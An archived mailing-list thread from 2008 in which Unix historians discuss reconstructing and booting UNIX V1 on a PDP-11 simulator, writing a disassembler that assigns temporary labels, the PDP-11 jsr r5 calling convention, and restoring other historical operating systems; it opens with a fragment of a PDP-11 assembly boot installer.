(r4),$'u bne 1f mov $1704,r3 mov $30,r4 br 2f 1: cmpb (r4),$'1 bne 1f mov $1734,r3 mov $30,r4 br 2f 1: cmpb (r4),$'2 bne badcmd mov $1764,r3 mov $14,r4 2: / open file mov (r5),r5 mov r5,0f sys open; 0:..; 0 bes error mov r0,r1 sys seek; 20; 0 bes error / open rf0 and seek to correct block sys open; disk; 1 bes error mov r0,r2 mov r3,0f sys seek; 0:..; 0 bes error / copy file from file to disk one block at a time 1: mov r1,r0 sys read; buf; 512. mov r0,r5 mov r2,r0 sys write; buf; 512. bes error dec r4 beq 3f tst r5 bne 1b 3: sys exit error: mov $1,r0 sys write; 1f; 2 4 sys exit 1: badcmd: mov $1,r0 sys write; 1f; 2 4 sys exit 1: disk: .even buf: .=.+512. From wkt at tuhs.org Sun May 18 11:24:10 2008 From: wkt at tuhs.org (Warren Toomey) Date: Sun, 18 May 2008 11:24:10 +1000 Subject: [Unix-jun72] UNIX V1 bootstrap In-Reply-To: <200805180104.SAA27787@mist.magic.com> References: <200805180104.SAA27787@mist.magic.com> Message-ID: <20080518012410.GA59280@minnie.tuhs.org> On Sat, May 17, 2008 at 06:04:48PM -0700, James A. Markevitch wrote: > For building under UNIX itself, there are a variety of strategies. Here > is my list, in order of preference: > > 2. Modify the V2 assembler to produce V1 binaries. I'm going to take a "devil's advocate" stance here, and argue to keep the existing "as" binary untouched. We have a bunch of userland executables which come from a point in time after V1, including "as" and the C compiler. While we have kernel source which is V1 on paper, we already have had to modify it to suit the userland tools and the simulator. We will never get to a "pure V1" setup, so I would prefer to see us aim for a "just after V1" system. I'm fairly confident that, as V1 morphed into V2, they kept support for 0405 and 0407 in the kernel, but migrated the tools and boot chain towards 0407. Given we can't get back to pure V1, it would not hurt for us to have a boot chain which can deal with 0407 headers. Cheers, Warren From doug at remarque.org Sun May 18 13:23:48 2008 From: doug at remarque.org (Doug Merritt) Date: Sat, 17 May 2008 20:23:48 -0700 (PDT) Subject: [Unix-jun72] UNIX V1 bootstrap In-Reply-To: <20080518012410.GA59280@minnie.tuhs.org> Message-ID: <20080518032348.3D6E65A523@remarque.org> Warren wrote: > I'm going to take a "devil's advocate" stance here, and argue to keep the > existing "as" binary untouched. As first priority, certainly. We want to preserve original data for posterity. As second priority, there may be several possibilities. A best-guess reconstruction of an approximation of V1 is one such additional possibility. Interpolation based on noisy data sources is a time honored practice -- as long as one carefully differentiates the results from pristinely clean data. I don't see one kind of reconstruction as inherently better or worse than another kind; it depends on what the goal is. I think Apout, for instance, is a *really* nice variation on the usual approach of a closed-world simulation. And certainly there are sharp limits on what we have available right *now*, but I would be quite cautious about saying "never". Additional data sources may become available; who knows. Doug -- Professional Wild-eyed Visionary Member, Crusaders for a Better Tomorrow From jam at magic.com Sun May 18 16:18:56 2008 From: jam at magic.com (James A. Markevitch) Date: Sat, 17 May 2008 23:18:56 -0700 (PDT) Subject: [Unix-jun72] UNIX V1 bootstrap Message-ID: <200805180618.XAA28593@mist.magic.com> > > For building under UNIX itself, there are a variety of strategies. Here > > is my list, in order of preference: > > > > 2. Modify the V2 assembler to produce V1 binaries. > > I'm going to take a "devil's advocate" stance here, and argue to keep the > existing "as" binary untouched. In any event, the msys2.s will work to install a V2-assembled kernel into the boot area. I've sent a new copy of the boot directory and fs/usr/boot to Warren and Tim to install. msys2.s is now the program to use to install the bootstrap and the fs/usr/boot/unix.out file is a copy of build/a.out. This means that if the kernel is assembled using the V2 assembler under UNIX V1 itself, then the a.out from that assembly can be used directly by msys2 to install into the boot area. James Markevitch From wkt at tuhs.org Sun May 18 16:28:12 2008 From: wkt at tuhs.org (Warren Toomey) Date: Sun, 18 May 2008 16:28:12 +1000 Subject: [Unix-jun72] UNIX V1 bootstrap In-Reply-To: <200805180618.XAA28593@mist.magic.com> References: <200805180618.XAA28593@mist.magic.com> Message-ID: <20080518062812.GA72790@minnie.tuhs.org> On Sat, May 17, 2008 at 11:18:56PM -0700, James A. Markevitch wrote: > I've sent a new copy of the boot directory and fs/usr/boot to Warren and > Tim to install. msys2.s is now the program to use to install the bootstrap > and the fs/usr/boot/unix.out file is a copy of build/a.out. Thanks James, I'll check it out tonight/tomorrow. Warren From jam at magic.com Mon May 19 00:56:53 2008 From: jam at magic.com (James A. Markevitch) Date: Sun, 18 May 2008 07:56:53 -0700 (PDT) Subject: [Unix-jun72] Kernel built under V1 Message-ID: <200805181456.HAA01901@mist.magic.com> For fun, I tried building the kernel under V1 and booting it and it looks like it simply works. I did the following, outside the simulator: tools/assemv2 mkdir fs/usr/kernel cp -pi build/u?.s fs/usr/kernel tools/imgbuild boot/installboot tools/pdp11 boot/simh.cfg Then, I logged in as root and did: chdir /usr/kernel as u?.s chdir ../boot sh run msys2 u ../kernel/a.out More realistically, the kernel should be built in /usr/sys. James Markevitch From newsham at lava.net Mon May 19 04:04:15 2008 From: newsham at lava.net (Tim Newsham) Date: Sun, 18 May 2008 08:04:15 -1000 (HST) Subject: [Unix-jun72] Kernel built under V1 In-Reply-To: <200805181456.HAA01901@mist.magic.com> References: <200805181456.HAA01901@mist.magic.com> Message-ID: > I did the following, outside the simulator: > > tools/assemv2 > mkdir fs/usr/kernel > cp -pi build/u?.s fs/usr/kernel > tools/imgbuild > boot/installboot > tools/pdp11 boot/simh.cfg If you grab the latest svn sources the process is a lot simpler. You just have to cd build make rm protofs make install but the extra commands aren't necessary because in the latest Makefile we're installing /usr/src with the commands sources and /usr/sys with the kernel sources. > msys2 u ../kernel/a.out Great! > James Markevitch Tim Newsham http://www.thenewsh.com/~newsham/ From angus at fairhaven.za.net Tue May 20 03:35:48 2008 From: angus at fairhaven.za.net (Angus Robinson) Date: Mon, 19 May 2008 19:35:48 +0200 Subject: [Unix-jun72] [TUHS] Some fun with 1st ed In-Reply-To: <20080503192943.GC69106@freebie.xs4all.nl> References: <20080503192359.GA11882@bitmover.com> <20080503192943.GC69106@freebie.xs4all.nl> Message-ID: <4831BA74.5040001@fairhaven.za.net> An HTML attachment was scrubbed... URL: From doug at remarque.org Tue May 20 15:16:28 2008 From: doug at remarque.org (Doug Merritt) Date: Mon, 19 May 2008 22:16:28 -0700 (PDT) Subject: [Unix-jun72] status on disassembler In-Reply-To: Message-ID: <20080520051628.379B75A525@remarque.org> Interim status on disassembler: Usually we think "crank out opcodes and operands, how hard could it be?" But for our effort, we really would like to have disassembly produce something as close to the original source code as possible, including many things such as which parts are code versus data, and much else. It turns out there is in fact "much else", and I have been addressing all that, starting from the basic "decode opcodes and operands" disassembler of Jeffery L. Post. My initial efforts are directed at disassembling s2 programs and comparing them to reconstructed s1 sources. This is a rich experimental playground, for now. It's coming along very nicely, but there are a lot of "little" issues, and I will only skim the surface here. It understands all v1 syscalls, and disassembles appropriately. It generates all needed "not in assembler" syscall definitions, when used. My first approach to "temporary labels" (1f/1b, see Knuth) failed badly; if anyone has insights on how such things should be disassembled, please tell me; I'm still mentally going through various possible algorithms. Currently it supports a "directives file" to insert human-defined labels and parameter types. The latter successfully disassembles constructs of the form jsr f5, mesg; ...after being told that address (say 0200) equals "mesg" and that that subr takes a jsr_r5 parameter of type asciz. It does other cool stuff, too, but alas, still fails in all sorts of horrible ways, e.g. in not being aware of the difference between rvals and lvals when it should. In general, I'm trying to automate any aspects of disassembly that can be, to avoid needing human intervention. Doing so increases the fidelity of the reconstruction: minimizing intervention is inherently desirable, for historical reconstruction. Another example of philosophy: it converts BCS to BES if it follows a syscall. In short, it is pretty cool in certain regards, but is not ready for prime time by any means. It's not beta, it's not alpha, it's prototype -- but pretty promising. Handling simple BSS issues is another TODO example (probably next on my list) Just thought I should report on current progress, since people get impatient sometimes. Feedback appreciated. Doug -- Professional Wild-eyed Visionary Member, Crusaders for a Better Tomorrow From wkt at tuhs.org Tue May 20 17:39:07 2008 From: wkt at tuhs.org (Warren Toomey) Date: Tue, 20 May 2008 17:39:07 +1000 Subject: [Unix-jun72] status on disassembler In-Reply-To: <20080520051628.379B75A525@remarque.org> References: <20080520051628.379B75A525@remarque.org> Message-ID: <20080520073907.GA87633@minnie.tuhs.org> On Mon, May 19, 2008 at 10:16:28PM -0700, Doug Merritt wrote: > Interim status on disassembler: > My first approach to "temporary labels" (1f/1b, see Knuth) failed badly; > if anyone has insights on how such things should be disassembled, > please tell me; I'm still mentally going through various possible > algorithms. Doug, I was also halfway through a disassembler. I take a 2-pass approach. On the 1st pass I collect interesting addresses, e.g. for jsrs, branches etc. Then I allocate labels based on address order. Then on the second pass I use the labels when printing. I'll send you a copy of the work so far. Cheers, Warren From newsham at lava.net Wed May 21 05:49:09 2008 From: newsham at lava.net (Tim Newsham) Date: Tue, 20 May 2008 09:49:09 -1000 (HST) Subject: [Unix-jun72] status on disassembler In-Reply-To: <20080520051628.379B75A525@remarque.org> References: <20080520051628.379B75A525@remarque.org> Message-ID: > My first approach to "temporary labels" (1f/1b, see Knuth) failed badly; > if anyone has insights on how such things should be disassembled, > please tell me; I'm still mentally going through various possible > algorithms. This is a standard register allocation problem (ie. assigning registers to variables when compiling a program). You need to figure out over which ranges of the program the labels are "live". Then you need to figure out which ones are live at the same time and build a graph of which labels cannot share the same label. Then you go through and start assigning labels in a way that fits this constraint. http://en.wikipedia.org/wiki/Register_allocation http://en.wikipedia.org/wiki/Graph_coloring Should be covered in compilers text books. > Doug Tim Newsham http://www.thenewsh.com/~newsham/ From doug at remarque.org Wed May 21 17:44:39 2008 From: doug at remarque.org (Doug Merritt) Date: Wed, 21 May 2008 00:44:39 -0700 (PDT) Subject: [Unix-jun72] status on disassembler In-Reply-To: Message-ID: <20080521074439.9D3575A52C@remarque.org> Tim Newsham wrote: > This is a standard register allocation problem (ie. assigning registers to Thanks for the thought, but I don't think it is, quite, in part because of the presence of backward branches: 2: br 1f br 2b 1: Here the 2 could be a 1, despite overlapping ranges: 1: br 1f br 1b 1: In standard register allocation, live/dead ranges are forward only: mov $0,r0 mov $1,r1 mov r0,(sp)+ mov r1,(sp)+ r0 and r1 cannot be subsumed into a single register (completely ignoring the possibility of other optimizations as off topic here). Perhaps that's merely a superficial difference, but it's enough to confuse my thinking so far, if so. To further complicate things, it would be especially nice to allocate labels not just in a legal way (that preserves the semantics of the program), but actually in a way as similar as possible to the way that humans were doing so, for the sake of improved reconstruction. (A complication with *that* is that, in some cases, the labels are obviously subtopimal, presumably due to the historical sequence of edits.) Some adaptation of e.g. graph coloring might conceivably do fine at the former but not the latter, so if I succeeded at the first I would still want to keep improving it in the direction of the second. P.S. And obviously it would yield to a big enough hammer (dynamic programming, exhaustive backtracking, genetic algorithms, simulated annealing, etc), but I dislike the idea. I'm currently pondering establishing a partial order and using a nice simple topological sort, and/or attempting a simulation of how a human might go about it -- which might end up being the simplest way to accomplish both goals. Doug -- Professional Wild-eyed Visionary Member, Crusaders for a Better Tomorrow From brad at heeltoe.com Wed May 21 19:49:25 2008 From: brad at heeltoe.com (Brad Parker) Date: Wed, 21 May 2008 05:49:25 -0400 Subject: [Unix-jun72] status on disassembler In-Reply-To: <20080521074439.9D3575A52C@remarque.org> References: <20080521074439.9D3575A52C@remarque.org> Message-ID: <27294.1211363365@mini> Doug Merritt wrote: >Tim Newsham wrote: >> This is a standard register allocation problem (ie. assigning registers to > >Thanks for the thought, but I don't think it is, quite, in part because >of the presence of backward branches: > >2: > br 1f > br 2b >1: > >Here the 2 could be a 1, despite overlapping ranges: > >1: > br 1f > br 1b >1: I'm confused. Those are both the same, aren't they? Isn't the simplest thing to do 2 passes and generate numeric labels as needed? i.e. L0001: br L0002 br L0001 L0002: That's ugly, but it's correct and will assemble so I'd start there. Once you have that, and you have all the code in memory as some sort of tree, it should be possible to make a pass an attempt to clean this up a little. Here's a snipped of real code, with the uninteresting parts turned into "..." badsys: ... mov $3f,u.namep ... br 1f ... br 2f 1: ... 2: br sysexit 3: ------- badsys: ... mov $L0001,u.namep ... br L0002 ... br L0003 L0002: ... L0003: br sysexit L0001: You should be able to scan the code and check for references to each location. Assume for a second you have an vector with one entry for each instruction location. You could then chain references off each element. With that information you could tell the "lifetime" of a label. i.e. at L0001 above you could look and decide that that no one else referenced it going forward. I would think that as you scanned that vector from beginning to end you could keep a count of active references, and use that to reset your local label number. Let's try it. badsys: 01 ... 02 mov $L0001,u.namep 03 ... 04 br L0002 05 ... 06 br L0003 L0002: 07 ... L0003: 08 br sysexit L0001: 09 10 01 02 uses L0001 +1 03 04 uses L0002 +2 05 06 uses L0003 +3 07 defines L0002 +2; look forward, no refs to L0002 so decrement 08 defines L0003 +1; look forward, no refs to L0003 so decrement 09 defines L0001 0; look forward, no refs to L0001 so decrement 10 I'm probably trivializing it, but I'm willing to put my money where my mouth is if you want me to take a look at your code. I think it has to be a 2 pass operation, however. I think this is true of any good disassembler; they are generally multiple pass. Deciding where the "data" is sometimes takes a little work, which can sometimes be a heuristic like "it looks like ascii and there is a reference to it", so having a tree of references generally helps. This is not unlike binary recompilation where you follow each possible code path to a terminal node. -brad From brad at heeltoe.com Wed May 21 23:40:41 2008 From: brad at heeltoe.com (Brad Parker) Date: Wed, 21 May 2008 09:40:41 -0400 Subject: [Unix-jun72] status on disassembler In-Reply-To: <20080521074439.9D3575A52C@remarque.org> References: <20080521074439.9D3575A52C@remarque.org> Message-ID: <30985.1211377241@mini> Doug Merritt wrote: > >In standard register allocation, live/dead ranges are forward only: I think I figured out one way to assign local labels. Basically I discover the "span" of each reference. I only concider small spans. I bump a count when the span starts and decrement when it ends. I assign labels using the count. I have an example using ls I'll send in a bit. -brad From brad at heeltoe.com Thu May 22 00:05:51 2008 From: brad at heeltoe.com (Brad Parker) Date: Wed, 21 May 2008 10:05:51 -0400 Subject: [Unix-jun72] status on disassembler In-Reply-To: <20080521074439.9D3575A52C@remarque.org> References: <20080521074439.9D3575A52C@remarque.org> Message-ID: <31370.1211378751@mini> Here's an example from 'ls'. It's not ment to be good dis-assembly, just a rough approximation, but it shows references and how the short spans get used to assign labels. ps: I'm not trying to write a disassembler. This is from a binary code recompilation hobby project. It just happened that there was enough info already in the code to figure out where the labels might go. I'm happy to share the code if this would be helpful. -brad ... 004374: span 4346 - 4376 004416: span 4410 - 4532 004436: span 4436 - 4446 004454: span 4434 - 4454 004456: span 4456 - 4476 ... local 4374; 1 (4346-4376) assign1 4376; 1 assign1 4410; 0 assign1 4424; 0 assign1 4434; 0 local 4436; 1 (4436-4446) assign1 4446; 2 assign1 4452; 1 local 4454; 1 (4434-4454) local 4456; 0 (4456-4476) assign1 4476; 1 ... 004374: L1 2 004376 2 004346 004376: 1 004374 004410: 1 004416 004416: L2318 2 004532 2 004524 2 004452 2 004410 004424: 1 004602 004434: 1 004454 004436: L2 2 004446 004446: 1 004436 004452: 1 004416 004454: L1 2 004434 004456: L1 2 004476 004476: 1 004456 ... 12 004370 000000 HALT R5 12 004372 000207 RTS R5 1: 12 -> 004374 112423 MOVB R4 R3 13 004376 001376 BNE R3 ; (ref 4374, 1b) 13 004400 005303 DEC R3 13 004402 126327 CPMB R3 R7 177777 004406 000057 ? 14 004410 001402 BEQ R7 ; (ref 4416, L2318) 14 004412 112723 MOVB R7 R3 000057 L2318: 14 -> 004416 004567 JSR R7 002722 14 004422 044052 BIC R0 R2 15 004424 103466 BLO R2 ; (ref 4602, L2434) 15 004426 012746 MOV R7 R6 000004 15 004432 005700 TST R0 16 004434 001007 BNE R0 ; (ref 4454, 1f) 2: 16 -> 004436 004567 JSR R7 002702 16 004442 044052 BIC R0 R2 16 004444 005316 DEC R6 17 004446 001373 BNE R6 ; (ref 4436, 2b) 17 004450 005726 TST R6 18 004452 000761 BR R6 ; (ref 4416, L2318) 1: 17 -> 004454 010302 MOV R3 R2 1: 17 -> 004456 004567 JSR R7 002662 17 004462 044052 BIC R0 R2 17 004464 010021 MOV R0 R1 17 004466 110022 MOVB R0 R2 17 004470 000300 SWAB R0 17 004472 110022 MOVB R0 R2 17 004474 005316 DEC R6 18 004476 001367 BNE R6 ; (ref 4456, 1b) 18 004500 005726 TST R6 18 004502 105022 CLRB R2 18 004504 005767 TST R7 003232 From newsham at lava.net Thu May 22 07:34:01 2008 From: newsham at lava.net (Tim Newsham) Date: Wed, 21 May 2008 11:34:01 -1000 (HST) Subject: [Unix-jun72] status on disassembler In-Reply-To: <20080521074439.9D3575A52C@remarque.org> References: <20080521074439.9D3575A52C@remarque.org> Message-ID: > Thanks for the thought, but I don't think it is, quite, in part because > of the presence of backward branches: > > 2: > br 1f > br 2b > 1: > > Here the 2 could be a 1, despite overlapping ranges: > > 1: > br 1f > br 1b > 1: I think you can consider "1f" and "1b" to be two separate names for the sake of the register coloring algorithm (both of which happen to exist at the point where the "1:" label is defined). In many cases only the forward one will be live, in other cases only the backward one will be live, but sometimes both will be live simultaneously. This does add a slight difference to the graph because "1f" and "1b" must be given the same number "1" when both are alive at the same definition site. > To further complicate things, it would be especially nice to allocate > labels not just in a legal way (that preserves the semantics of the > program), but actually in a way as similar as possible to the way that > humans were doing so, for the sake of improved reconstruction. (A > complication with *that* is that, in some cases, the labels are > obviously subtopimal, presumably due to the historical sequence of edits.) I think doing a minimum coloring will be pretty close to what a human would do. If you want to, you can try to swap around labels so that the outter most labels have low numbers and the inner labels (nested inside loops) have the higher numbers... Tim Newsham http://www.thenewsh.com/~newsham/ From andreww591 at gmail.com Thu May 22 13:05:09 2008 From: andreww591 at gmail.com (Andrew Warkentin) Date: Wed, 21 May 2008 21:05:09 -0600 Subject: [Unix-jun72] Semi-OT: Other systems to reconstruct? Message-ID: <4834E2E5.20302@gmail.com> With the successful restoration of Unix V1, I was thinking of other operating systems that could be restored in a similar way. The most historically significant would probably be CTSS. The SIMH IBM 7094 simulator has everything necessary to run CTSS implemented already, although the CTSS-specific stuff is untested (since as far as I know, nobody has booted CTSS in it yet) and may need some patching. There are several tapes of listings (for almost all of the system), and a few tapes of binaries (one with supervisor binaries, and one with "standalone" utilities, but nothing with user-mode programs) available. The listings need to be converted back into source that can be assembled or compiled. Part of this can be done automatically (I have written some dumb scripts to do this), but there will likely be quite a bit of manual editing involved. There is nothing to be OCRed, since everything is on magtapes. Most of the source is either assembly or MAD (an Algol-58 dialect), with a few files in AED (another Algol dialect, for which no compiler appears to have survived). Restoring the assembler stuff should be easy (there exists a cross-assembler which would work), but restoring the MAD stuff will be a little bit harder. There is no cross-compiler for it (there is a compiler that runs under IBSYS, but it is probably just for an IBSYS target, and I'm not sure if anyone has even figured out how to run it). The AED stuff will have to be rewritten in MAD (which shouldn't be especially hard, since AED and MAD are somewhat similar). Only a few non-essential programs are written in AED. I think that all (or at least most of) the stuff required for booting is written in assembler, so the best way to get it working would be get a minimal system booting (I suspect all that is necessary is the supervisor, so the binaries on the tape might be of use), and run the CTSS MAD compiler under it to compile all the MAD stuff (which includes many of the "core" commands). I'm not sure what the best way to get stuff into a filesystem is. The standalone utilities run under FMS, and there is no bootable FMS tape. There is a version of FMS that runs under IBSYS, but for some reason, it returns an error when attempting to load the utilities off the tape. It is probably possible to patch it to fix that bug, though. It would also work to write utilities that run on the host system, much like what was done for Unix V1 (although I think that fixing the bug in FMS would probably be easier). Maybe I should start a Sourceforge project. Another, much simpler, system which might be possible to restore is MUMPS-15, for which a PDF of a paper listing is available on bitsavers. Restoring it would probably just be a matter of OCRing, correcting, and assembling it (and maybe writing a bootstrap). From aek at bitsavers.org Fri May 23 02:01:20 2008 From: aek at bitsavers.org (Al Kossow) Date: Thu, 22 May 2008 09:01:20 -0700 Subject: [Unix-jun72] Semi-OT: Other systems to reconstruct? In-Reply-To: <4834E2E5.20302@gmail.com> References: <4834E2E5.20302@gmail.com> Message-ID: <483598D0.8070009@bitsavers.org> Andrew Warkentin wrote: > With the successful restoration of Unix V1, I was thinking of other > operating systems that could be restored in a similar way. There is no shortage of systems that could be worked on. The Berkeley GENIE SDS 940 system, for example. Machine readable sources exist, but no drum image, so it would have to be reassembled from the existing binaries, and cross-assembled to get the rest. I'm hoping to recover a bunch of system tapes for the B5700 soon. Someone else I know has been trying to get the Stretch system software running again from listings. From spedraja at gmail.com Fri May 23 02:52:36 2008 From: spedraja at gmail.com (Sergio Pedraja) Date: Thu, 22 May 2008 18:52:36 +0200 Subject: [Unix-jun72] Semi-OT: Other systems to reconstruct? In-Reply-To: <483598D0.8070009@bitsavers.org> References: <4834E2E5.20302@gmail.com> <483598D0.8070009@bitsavers.org> Message-ID: Stretch ? Where ? :-) But Seriously, this would be particularly a goal similar to CTSS. About the SDS... Where can be obtained the sources ? Is it the SIMH a good way to do this job ? Greetings Sergio 2008/5/22 Al Kossow : > Andrew Warkentin wrote: > > With the successful restoration of Unix V1, I was thinking of other > > operating systems that could be restored in a similar way. > > There is no shortage of systems that could be worked on. > The Berkeley GENIE SDS 940 system, for example. Machine readable > sources exist, but no drum image, so it would have to be reassembled > from the existing binaries, and cross-assembled to get the rest. > > I'm hoping to recover a bunch of system tapes for the B5700 soon. > > Someone else I know has been trying to get the Stretch system software > running again from listings. > > > _______________________________________________ > Unix-jun72 mailing list > Unix-jun72 at tuhs.org > https://minnie.tuhs.org/mailman/listinfo/unix-jun72 > -------------- next part -------------- An HTML attachment was scrubbed... URL: From nao at tom-yam.or.jp Thu May 1 00:41:17 2008 From: nao at tom-yam.or.jp (Naoki Hamada) Date: Wed, 30 Apr 2008 23:41:17 +0900 Subject: [TUHS] Query on PDP-11 assembly In-Reply-To: <48187A41.80105@coraid.com> References: <20080430115651.GA86539@minnie.tuhs.org> <48187A41.80105@coraid.com> Message-ID: <2da2ec620804300741i1bd39a48lf5b5ba09830793b4@mail.gmail.com> Hi, This technique was a very common one in assembler sources for PDP-11 versions of UNIX. For example, m40.s of Version 6 UNIX shows a line "jsr r0,call1; _trap" in its trap routine. I feel very funny to tell this to Warren, the author of apout! Anyway, it could be a source of the null-terminated expression of character strings of the C language, I guess. Naoki Hamada nao at tom-yam.or.jp From jam at magic.com Thu May 1 02:20:08 2008 From: jam at magic.com (James A. Markevitch) Date: Wed, 30 Apr 2008 09:20:08 -0700 (PDT) Subject: [TUHS] Query on PDP-11 assembly Message-ID: <200804301620.JAA10112@mist.magic.com> > I can happily deal with the jsr pc,do type of jsr, but the ones > involving r5 have me stumped, e.g.: > > jsr r5,questf; < nonexistent\n\0>; .even I have encountered this type of construct a lot when doing disassemblers over the years. My usual strategy for dealing with this is: 1. If it's quick and dirty and I am not running huge amounts of code, then the disassembler allows the user to provide a list of "hints" to it. The hints for this would describe the arguments to each subroutine. For illustrative purposes, you might have a side file that contains the following: subr 002004 questf string meaning that location 002004 is a subroutine names questf that expects a null-terminated string as the argument. As an additional benefit, you get a nice name for the subroutine that the disassembler can put into the output. And if a subroutine takes two 16-bit arguments, you might have: subr 003436 mysub arg16 arg16 If the disassembler identifies each of the targets of the jsr instructions, then you can usually do a quick look at the code to see what it expects, then add to the side file, then re-run the disassembler. 2. If you want to be less quick and dirty, you can have the disassembler do a partial flow analysis of the code to figure out what is expected for arguments. This is usually much more involved and you still often need to add hints for cases where the '60s or '70s programmer did some kind of "neat trick" when coding. My philosophy on these is to use tools to get to the 95%+ level of automation and provide hints to pick up the rest. Using strategy number 1 above will probably get you a lot of success with a small amount of coding in your disassembler. James Markevitch From milov at uwlax.edu Thu May 1 02:53:52 2008 From: milov at uwlax.edu (Milo Velimirovic) Date: Wed, 30 Apr 2008 11:53:52 -0500 Subject: [TUHS] Query on PDP-11 assembly In-Reply-To: <48187A41.80105@coraid.com> References: <20080430115651.GA86539@minnie.tuhs.org> <48187A41.80105@coraid.com> Message-ID: <2B09A491-EB29-476C-B88E-27BA9D953BA6@uwlax.edu> A subprogram using this calling convention would look something like this: questf: mov (r5)+,r0 / play with string pointed to by r0. rts r5 On Apr 30, 2008, at 8:55 AM, Brantley Coile wrote: > In your example, -(sp) = r5; r5 = pc; pc = guestf. > Guestf will have to bump r5 as in consumes the parameters. > Rts r5 means pc = r5; r5 = (sp)+. > > Hope this helps. > > Warren Toomey wrote: >> All, I'm trying to write a PDP-11 disassembler for a.out files. I'm >> having >> trouble dealing with jsrs. Take, for example, the code here: >> http://minnie.tuhs.org/UnixTree/1972_stuff/s1/frag19.html >> >> I can happily deal with the jsr pc,do type of jsr, but the ones >> involving r5 have me stumped, e.g.: >> >> jsr r5,questf; < nonexistent\n\0>; .even >> >> It appears that data is being inserted into the executable directly >> after the jsr instruction. How does the rts which returns from the >> jsr >> know how much data to skip, and what is the involvement of r5 here? The rts doesn't know anything about how much data to skip. In this snippet r5 is a linkage register that's doing double duty: it's both an argument pointer to the location immediately following the jsr and once r5 has been adjusted to point to the location after the argument list it becomes a return address. This programming technique is dependent on the subprogram and its callers agreeing on the number of arguments though it's possible to do a vararg style as well. It's necessary for the subprogram to pick up the arguments and adjust the linkage register accordingly AND to return to the caller with the same register named in the rts instruction as was used in the calling jsr. / variable argument list with linkage register jsr r5,some_fn; $argc; arg1; arg2; ... argn / in the function it's necessary to pick up all the args some_fn: mov (r5)+,r0 / pick up argc beq 2f / if no arguments, process simplest case. 1: / pick up an argument: mov (r5)+, somewhere / or mov *(r5)+, somewhere ... dec r0 bne 1b / process remaining arguments. 2: ... rts r5 I've seen other ways of processing arguments passed with this method that involved using indexing and adding the argument count to the linkage register. Tastes and mileage may vary. Regards, Milo -- Milo Velimirović, Unix Computer Network Administrator 608.785.6618 Office - 608.386.2817 Cell University of Wisconsin - La Crosse La Crosse, Wisconsin 54601 USA 43 48 48 N 91 13 53 W From lm at bitmover.com Thu May 1 03:00:06 2008 From: lm at bitmover.com (Larry McVoy) Date: Wed, 30 Apr 2008 10:00:06 -0700 Subject: [TUHS] Query on PDP-11 assembly In-Reply-To: <2B09A491-EB29-476C-B88E-27BA9D953BA6@uwlax.edu> References: <20080430115651.GA86539@minnie.tuhs.org> <48187A41.80105@coraid.com> <2B09A491-EB29-476C-B88E-27BA9D953BA6@uwlax.edu> Message-ID: <20080430170006.GB11943@bitmover.com> On Wed, Apr 30, 2008 at 11:53:52AM -0500, Milo Velimirovic wrote: > A subprogram using this calling convention would look something like > this: > > questf: mov (r5)+,r0 > / play with string pointed to by r0. > rts r5 It warms my heart to see pdp-11 assembly again. What a pleasant instruction set. m68k was close but already starting to get weird and x86 is the pits. -- --- Larry McVoy lm at bitmover.com http://www.bitkeeper.com From cowan at ccil.org Thu May 1 03:47:39 2008 From: cowan at ccil.org (John Cowan) Date: Wed, 30 Apr 2008 13:47:39 -0400 Subject: [TUHS] Query on PDP-11 assembly In-Reply-To: <20080430170006.GB11943@bitmover.com> References: <20080430115651.GA86539@minnie.tuhs.org> <48187A41.80105@coraid.com> <2B09A491-EB29-476C-B88E-27BA9D953BA6@uwlax.edu> <20080430170006.GB11943@bitmover.com> Message-ID: <20080430174739.GC4759@mercury.ccil.org> Larry McVoy scripsit: > It warms my heart to see pdp-11 assembly again. What a pleasant instruction > set. Indeed. PDP-8 and PDP-11 assembly are the only assembly languages I've ever used, and I liked both of them a lot. -- John Cowan http://www.ccil.org/~cowan One time I called in to the central system and started working on a big thick 'sed' and 'awk' heavy duty data bashing script. One of the geologists came by, looked over my shoulder and said 'Oh, that happens to me too. Try hanging up and phoning in again.' --Beverly Erlebacher From lm at bitmover.com Thu May 1 03:59:41 2008 From: lm at bitmover.com (Larry McVoy) Date: Wed, 30 Apr 2008 10:59:41 -0700 Subject: [TUHS] Query on PDP-11 assembly In-Reply-To: <20080430174739.GC4759@mercury.ccil.org> References: <20080430115651.GA86539@minnie.tuhs.org> <48187A41.80105@coraid.com> <2B09A491-EB29-476C-B88E-27BA9D953BA6@uwlax.edu> <20080430170006.GB11943@bitmover.com> <20080430174739.GC4759@mercury.ccil.org> Message-ID: <20080430175941.GC11943@bitmover.com> On Wed, Apr 30, 2008 at 01:47:39PM -0400, John Cowan wrote: > Larry McVoy scripsit: > > > It warms my heart to see pdp-11 assembly again. What a pleasant instruction > > set. > > Indeed. PDP-8 and PDP-11 assembly are the only assembly languages I've > ever used, and I liked both of them a lot. I had a TA that could read PDP-11 octal the way other people read C. I used to go over to his apartment with a listing and a 6-pack and let him debug (lazy bastard that I was :) Ken Witte, wonder where he is now. Well there he is: http://www.linkedin.com/pub/4/B08/637 -- --- Larry McVoy lm at bitmover.com http://www.bitkeeper.com From carl.lowenstein at gmail.com Thu May 1 01:08:51 2008 From: carl.lowenstein at gmail.com (Carl Lowenstein) Date: Wed, 30 Apr 2008 08:08:51 -0700 Subject: [TUHS] Query on PDP-11 assembly In-Reply-To: <20080430115651.GA86539@minnie.tuhs.org> References: <20080430115651.GA86539@minnie.tuhs.org> Message-ID: <5904d5730804300808p59690427rf088e841354a41ec@mail.gmail.com> On Wed, Apr 30, 2008 at 4:56 AM, Warren Toomey wrote: > All, I'm trying to write a PDP-11 disassembler for a.out files. I'm having > trouble dealing with jsrs. Take, for example, the code here: > http://minnie.tuhs.org/UnixTree/1972_stuff/s1/frag19.html > > I can happily deal with the jsr pc,do type of jsr, but the ones > involving r5 have me stumped, e.g.: > > jsr r5,questf; < nonexistent\n\0>; .even > > It appears that data is being inserted into the executable directly > after the jsr instruction. How does the rts which returns from the jsr > know how much data to skip, and what is the involvement of r5 here? Standard subroutine calling sequence. The called routine must know how many parameters it is called with. It retrieves them by MOV (R5)+, . This advances R5 so that eventually it points to the return address, and the return is done as RTS R5. A more advanced calling sequence could insert the number of parameters as the first value after the JSR, and the called routine would then retrieve that number and use it to tell when it had fetched the right amount of data. carl -- carl lowenstein marine physical lab u.c. san diego clowenstein at ucsd.edu From jam at magic.com Thu May 1 17:40:29 2008 From: jam at magic.com (James A. Markevitch) Date: Thu, 1 May 2008 00:40:29 -0700 (PDT) Subject: [TUHS] Update on UNIX V1 OCR Message-ID: <200805010740.AAA12754@mist.magic.com> I got a chance to do some work on the UNIX V1 sources this evening. I took the output of my OCR software and with 